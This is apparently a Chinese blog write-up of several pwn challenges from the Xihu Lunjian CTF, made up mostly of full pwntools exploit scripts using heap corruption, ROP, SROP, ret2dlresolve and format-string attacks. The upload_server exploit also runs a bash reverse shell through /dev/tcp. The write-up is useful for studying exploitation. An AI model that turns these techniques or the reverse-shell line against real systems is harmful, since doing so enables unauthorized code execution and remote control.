西湖论剑

1,3题很简单。5题当时已经想到要打printf的返回地址,但是当时调试崩掉了就没出。2题和4题没看,都是server还蛮有意思。

mmutag

在栈上构造fake_chunk,然后用rop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level = 'DEBUG'
# sh = process('./mmutag')
sh = remote('183.129.189.62',58004)
def add(idx,content):
sh.sendline('1')
sh.recvuntil('id:')
sh.sendline(str(idx))
sh.recvuntil('content')
sh.send(content)
sh.recvuntil('choise:\n')
def delete(idx):
sh.sendline('2')
sh.recvuntil('id:')
sh.sendline(str(idx))
sh.recvuntil('choise:\n')

puts_plt = 0x4006B0
puts_got = 0x602020
libc_start_main = 0x602048
rdi_ret = 0x0000000000400d23
rsi_r15_ret = 0x0000000000400d21
start_addr = 0x400750
sh.recvuntil('name:')
sh.sendline('aaaa')
sh.recvuntil('tag: ')
stack_addr = int(sh.recvuntil(':',drop=True),16)
log.info('stack = ' + hex(stack_addr))
sh.sendline('2')
sh.recvuntil('choise:')

sh.sendline('3')
payload = 'a' * 0x18 + 'z'
sh.send(payload)
sh.recvuntil('Your content: ')
sh.recvuntil('z')
canary = u64(sh.recv(7).rjust(8,'\x00'))
log.info('canary = ' + hex(canary))
payload = 'a' * 0x10 + p64(0x71) + p64(canary)
sh.sendline('3')
sh.send(payload)
add(1,'aaa')
add(2,'bbb')
delete(1)
delete(2)
delete(1)
# gdb.attach(sh)
add(3,p64(stack_addr - 0x38))
add(4,'a')
add(5,'a')
payload = p64(canary) + p64(0) + p64(rdi_ret) + p64(libc_start_main) + p64(puts_plt) + p64(start_addr)
add(6,payload)
delete(1) # for start

# sh.recvuntil('choise:\n')

sh.sendline('4')
puts_addr = u64(sh.recv(6).ljust(8,'\x00'))
log.info("puts_addr = " + hex(puts_addr))
# libc = LibcSearcher('__libc_start_main',puts_addr)
libc_base = puts_addr - 0x20750
# bin_sh = libc_base + libc.dump('str_bin_sh')
system = libc_base + 0x453a0
bin_sh = libc_base + 0x18CE17
# system = libc_base + libc.dump('system')
log.success('libc_base = ' + hex(libc_base))
sh.recvuntil('name:')
sh.sendline('aaaa')
sh.recvuntil('tag: ')
stack_addr = int(sh.recvuntil(':',drop=True),16)
log.info('stack = ' + hex(stack_addr))
sh.sendline('2')
payload = 'a' * 0x10 + p64(0x71) + p64(canary)
sh.sendline('3')
sh.send(payload)
delete(1)
delete(2)
delete(1)
add(7,p64(stack_addr - 0x38))
add(8,'a')
add(9,'a')
payload = p64(canary) + p64(0) + p64(rdi_ret) + p64(bin_sh) + p64(system)
add(10,payload)
# gdb.attach(sh)
sh.sendline('4')
sh.interactive()

http_server

模拟了post传参。思路就是tcache打IO_FILE然后leak libc,最后打free_hook写setcontext+53出发SROP,然后调用rop链进行orw

复现的时候碰到了点小问题,就是把stdout的writebase覆盖掉在回显的时候会崩。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
from pwn import*

context.arch = 'AMD64'
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
def new(content):
p.sendline("POST /create Cookie: user=admin token: \x34\r\n\r\ncontent=" + content)
sleep(0.05)

def free(idx):
p.sendline("POST /del Cookie: user=admin token: \x34\r\n\r\nindex=" + str(idx))
sleep(0.05)


def edit(idx, content):
p.sendline("POST /edit Cookie: user=admin token: \x34\r\n\r\nindex=" +str(idx) + "&content="+ content)
sleep(0.05)

while True:
p = process('./ezhttp')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
try:
new("a"*0x80)
p.recvuntil("Your gift: ")
heap_base = int(p.recvuntil('"}',drop=True),16) - 0x260
log.success('HEAP:\t' + hex(heap_base))
new("a"*0x20+'\x00')
new("a"*0x10+'\x00')
new("A"*0x100)

for i in range(8):
free(0)

free(2)
free(2)
free(2)

new(p64(heap_base+0x260))
new(p64(heap_base+0x260))

new('\x60\x07\xdd')

free(1)
free(1)

new("a"*0x20)
edit(7,p64(heap_base + 0x260))
new("A"*0x20)
new("A"*0x20)

#new('a'*0x28)
new(p64(0x01010101fbad1801)+"\x01"*0x18+"\xc8")
#edit(10,p64(0xFBAD1800) + p64(0)*3 + '\xC8')
# pause()
libc_base = u64(p.recvuntil('\x7F',timeout=0.3)[-6:].ljust(8,'\x00')) - libc.sym['_IO_2_1_stdin_']
log.success('libc: ' + hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
setcontext = libc_base + libc.sym['setcontext'] + 53
rce = libc_base + 0x4f322
free(2)
free(2)
new(p64(free_hook))
new("UUUU")

new(p64(setcontext))
ret = libc_base + 0x00000000000008aa

Open = libc_base + libc.symbols["open"]
Read = libc_base + libc.symbols["read"]
Puts = libc_base + libc.symbols['puts']
pop_rdi_ret = libc_base +0x000000000002155f
pop_rsi_ret = libc_base + 0x0000000000023e6a
pop_rdx_ret = libc_base + 0x0000000000001b96
orw = ''
orw += p64(pop_rdi_ret)+p64(heap_base + 0x3B8)
orw += p64(pop_rsi_ret)+p64(0)
orw += p64(Open)
orw += p64(pop_rdi_ret) + p64(4)
orw += p64(pop_rdx_ret) + p64(0x30)
orw += p64(pop_rsi_ret) + p64(heap_base)
orw += p64(Read)
orw += p64(pop_rdi_ret)+p64(heap_base)
orw += p64(Puts)
orw += './flag\x00'
frame = SigreturnFrame()
frame.rax = 0
frame.rdi = 0
frame.rsi = 0
frame.rdx = 0
frame.rsp = heap_base + 0x250 + 0x90 + 0x30 + 0x20 + 0x10
frame.rip = ret
payload = orw + str(frame)[len(orw):]
# gdb.attach(p)
# pause()
edit(3, payload)

free(3)
break
except:
p.close()
continue
p.interactive()

pwn3

一道mips unlink,非常简单。虽然貌似官方给的wp不是这个解法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *
context.log_level = 'DEBUG'
# sh = process(['./qemu-mipsel-static','-L','./','./pwn3'])
sh = remote('183.129.189.62',61303)
def add(size,content):
sh.sendline('1')
sh.recvuntil('length:')
sh.sendline(str(size))
sh.recvuntil('info:')
sh.send(content)
sh.recvuntil('>>')
def delete(idx):
sh.sendline('2')
sh.recvuntil('user:')
sh.sendline(str(idx))
sh.recvuntil('>>',timeout=0.5)
def edit(idx,content):
sh.sendline('3')
sh.recvuntil('edit:')
sh.sendline(str(idx))
sh.recvuntil('info:')
sh.send(content)
sh.recvuntil('>>')
def show(idx):
sh.sendline('4')
sh.recvuntil('show:')
sh.sendline(str(idx))
sh.recvuntil('info: ')
content = sh.recvuntil('\nDisplay complete!',drop=True)
return content
buf_addr = 0x411830
free_got = 0x4117B4
add(0x60,'aaa') #0x69
add(0x60,'aaa')
add(0x40,'/bin/sh\x00')
payload = p32(0) + p32(0x60) + p32(buf_addr - 3*4) + p32(buf_addr - 2*4) + 'A' * 0x50 + p32(0x60) +p32(0x68)

edit(0,payload)
delete(1)
payload = 'a' * 8 + p32(buf_addr) + p32(0x60) + p32(free_got) + p32(0x60)
edit(0,payload)
free_addr = u32(show(1).ljust(4,'\x00'))
log.info('free = ' + hex(free_addr))
libc_base = free_addr - 0x56B68
log.success('libc_base = ' + hex(libc_base))
system = libc_base + 0x5f8f0
payload = p32(system)
edit(1,payload)
edit(2,'/bin/sh\x00')
delete(2)
sh.interactive()

upload_server

  • recvmsg函数的msg.msg_iov->iov_len 也就是接收数据最大值为0x410,并且将接收到的数据存放在全局变量段(msg.msg_iov->iov_base=0x603160)。第一段check先通过正则判断数据是否为base64密文格式,然后将其base64解密后存放在s变量栈上,解密后数据的最大长度为0x410*(3/4)=0x30c字节,存在栈溢出。然后判断解密后的数据长度是否为大于64,最后将数据的0-31位与33-64位分别base64加密后将相应内容写入key文件夹中。
  • 由于整段功能代码放在子进程里面实现,所以子进程崩溃后父进程回收即可,不影响父进程运行。server虽然存在栈溢出,但利用起来也十分有限,无法泄露地址。栈溢出长度也有限制,必须进行栈迁移,先通过ROP去调用内置decode函数解密存在在bss段的rop数据,再栈迁去执行bss段的rop_chain.利用dlruntime_resolve一把梭,提前在bss段相应地址构造fake_linkmap数据,由于程序中不存在写相关函数,可使用memset设置link_map的值,最后通过dl调用到system函数执行”bash -c "bash -i >& /dev/tcp/ip/port 0>&1"\x00” 反弹shell。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
context(os='linux', arch='amd64', log_level='debug')

elf=ELF("server")

p=remote("127.0.0.1",2333)

fake=['P', 'L', '\x02', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\xc8', '\xe6', ']', '\x00', '\x00', '\x00', '\x00', '\x00', '\x07', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\xf0', '2', '`', '\x00', '\x00', '\x00', '\x00', '\x00', '`', '3', '`', '\x00', '\x00', '\x00', '\x00', '\x00', 'h', ' ', '`', '\x00', '\x00', '\x00', '\x00', '\x00', '\x08', '3', '`', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', 'h', '3', '`', '\x00', '\x00', '\x00', '\x00', '\x00']

fake_link_map="".join(fake)

gad1= 0x40192a
gad2=0x401910
decode=0x400ee7

off=0x198
pop_rdi=0x401933
pop_rsi_r15=0x401931
leave_ret=0x401823
link_map=0x602008
memset_got=elf.got['memset']
bss=0x603160
map_addr=bss+0x190

payload="s"*64
#使用mmap修改link_map
payload+=p64(gad1)+p64(0)+p64(1)+p64(memset_got)+p64(1)+p64(map_addr&0xff)+p64(link_map)+p64(gad2)+"1"*8
payload+=p64(0)+p64(1)+p64(memset_got)+p64(1)+p64((map_addr>>8)&0xff)+p64(link_map+1)+p64(gad2)+"1"*8
payload+=p64(0)+p64(1)+p64(memset_got)+p64(1)+p64((map_addr>>16)&0xff)+p64(link_map+2)+p64(gad2)+"1"*8
payload+=p64(0)+p64(1)+p64(memset_got)+p64(5)+p64(0)+p64(link_map+3)+p64(gad2)+"1"*56
payload+=p64(pop_rdi)+p64(bss+0x2d0)+p64(0x400A36)+fake_link_map+p64(bss+64-8)+ (pop_rdi)+p64(bss)+p64(pop_rsi_r15)+p64(bss)+p64(0)+p64(decode)+p64(leave_ret)+"bash -c \"bash -i >& /dev/tcp/127.0.0.1/7777 0<&1\"\x00"

payload=base64.b64encode(payload)
p.send(payload)

p.recv()

在复现的时候主要感觉他这个fake_link的构造很玄学,然后在网上找了个板子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
# encoding=utf-8
from pwn import *


context.log_level='debug'
context.terminal='/bin/zsh'

libc = ELF("./libc-2.23.so")
elf = ELF("./ret2-dl")

bss = elf.bss()
log.info(".bss :0x%X"%bss)
write_addr = bss+0xac0 # 这里要调试一下,rsp有可能落在非bss上
rbp = write_addr-0x8
fake_link_map_addr = write_addr+0x18
vuln_addr = 0x0000000000400687
pop7ret = 0x000000000040073a
mov3call = 0x0000000000400720
plt_load = 0x4004e6 # jmp
read_got = elf.got['read']

# ELF64_sym_size = 0x18
# ELF64_Rela_size = 0x18


'''
typedef struct
{
Elf64_Word st_name; /* Symbol name (string tbl index) */
unsigned char st_info; /* Symbol type and binding */
unsigned char st_other; /* Symbol visibility */
Elf64_Section st_shndx; /* Section index */
Elf64_Addr st_value; /* Symbol value */
Elf64_Xword st_size; /* Symbol size */
}Elf64_Sym;

typedef struct
{
Elf64_Addr r_offset; /* Address */
Elf64_Xword r_info; /* Relocation type and symbol index */
Elf64_Sxword r_addend; /* Addend */
}Elf64_Rela;

typedef struct
{
Elf64_Sxword d_tag; /* Dynamic entry type */
union
{
Elf64_Xword d_val; /* Integer value */
Elf64_Addr d_ptr; /* Address value */
} d_un;
}Elf64_Dyn;
'''


#fake_Elf64_Dyn_STR_addr = link_map +0x68
#fake_Elf64_Dyn_SYM_addr = link_map +0x70
#fake_Elf64_Dyn_JMPREL_addr = link_map +0xf8


def get_fake_link_map(fake_link_map_addr,l_addr,st_value):
# 给出各个指针的假地址
fake_Elf64_Dyn_STR_addr = p64(fake_link_map_addr)
fake_Elf64_Dyn_SYM_addr = p64(fake_link_map_addr + 0x8)
fake_Elf64_Dyn_JMPREL_addr = p64(fake_link_map_addr + 0x18)

# 伪造相关结构体
fake_Elf64_Dyn_SYM = flat(p64(0),p64(st_value-8))
fake_Elf64_Dyn_JMPREL = flat(p64(0),p64(fake_link_map_addr+0x28) )# JMPREL指向.rel.plt地址,放在fake_link_map_addr+0x28
r_offset = fake_link_map_addr - l_addr
log.info("r_offset :"+str(hex(r_offset)))
fake_Elf64_rela = flat(p64(r_offset),p64(7),p64(0))

# fake_link_map整体结构
fake_link_map = flat( # 0x0
p64(l_addr), # 0x8
fake_Elf64_Dyn_SYM, # 0x18
fake_Elf64_Dyn_JMPREL,# 0x28
fake_Elf64_rela, # 0x40
"\x00"*0x28, # 0x68,下面开始放指针
fake_Elf64_Dyn_STR_addr, # STRTAB指针,0x70
fake_Elf64_Dyn_SYM_addr, # SYMTAB指针,0x78
"/bin/sh\x00".ljust(0x80,"\x00"),
fake_Elf64_Dyn_JMPREL_addr, # JMPREL指针
)
return fake_link_map






l_addr = libc.sym['system'] - libc.sym['__libc_start_main'] # l->l_addr设置为 system 与 __libc_start_main 的偏移值,此时__libc_start_main是一个已经解析过的函数
log.info("l_addr :"+str(hex(l_addr)))
log.info("elf.got['__libc_start_main'] :"+str(hex(elf.got['__libc_start_main'])))
log.info("plt_load :"+str(hex(0x4004e6)))
log.info("write_addr :"+str(hex(write_addr)))
#l->l_addr + sym->st_value
# value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);
st_value = elf.got['__libc_start_main']
fake_link_map = get_fake_link_map(fake_link_map_addr,l_addr,st_value)

io = process("./ret2-dl")

# 1. 首先,利用栈迁移,把fake_link_map放在bss段上
rop = flat( 'a'*0x70, # 此时到达老rbp
p64(rbp),
p64(pop7ret),
p64(0),
p64(1),
p64(read_got), # 重新调用read函数 r12
p64(len(fake_link_map)+0x18+0x10), # read读入长度
p64(write_addr), # read读入位置
p64(0), #
p64(mov3call),
p64(0)*7 , # 补位
p64(vuln_addr) # 再返回vuln函数
)
log.info(hex(len(fake_link_map)+0x18+0x10))
io.sendline(rop) # 此rop中包含了ret2csu,利用其向bss上读数据

sleep(1)

# 2. 接下来,由于我们在rop中利用ret2csu调用了read函数,我们开始向bss上读数据,以下数据内容是由rop中ret2csu调用的read函数读取的。
fake = flat(
p64(plt_load),
p64(fake_link_map_addr),
p64(0),
fake_link_map # fake_link_map本体
)
log.info(hex(len(fake)))
io.sendline(fake)
attach(io)
pause()
pop_rdi_ret = 0x0000000000400743
leave = 0x4006a6
stack_mig = flat(
'a'*0x70,
p64(rbp),
p64(pop_rdi_ret),
p64(fake_link_map_addr+0x78), # /bin/sh
p64(leave)
)
sleep(1)
io.sendline(stack_mig)

io.interactive()

pwn5

单步执行到printf_positional函数ret返回的地方,观察此时的返回的lbc地址和一个onegadget很接近,大概率只需爆破一位就行,且此时的onegadget刚好满足触发条件

好思路

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

from pwn import *
context(os='linux', arch='amd64', log_level='debug')

while(1):
try:
p=process("./noleakfmt")
one=0x027a
p.recvuntil(" : ")
stack=int(p.recv(14),16)-0x2d6c
if(stack&0xffff>0x2000):
p.close()
continue
p.sendline("%"+str(stack&0xffff)+"c"+"%11$hn")
p.sendline("%"+str(one)+"c"+"%37$hn")
p.interactive()

except:
p.close()
-------------本文结束感谢您的阅读-------------
+ +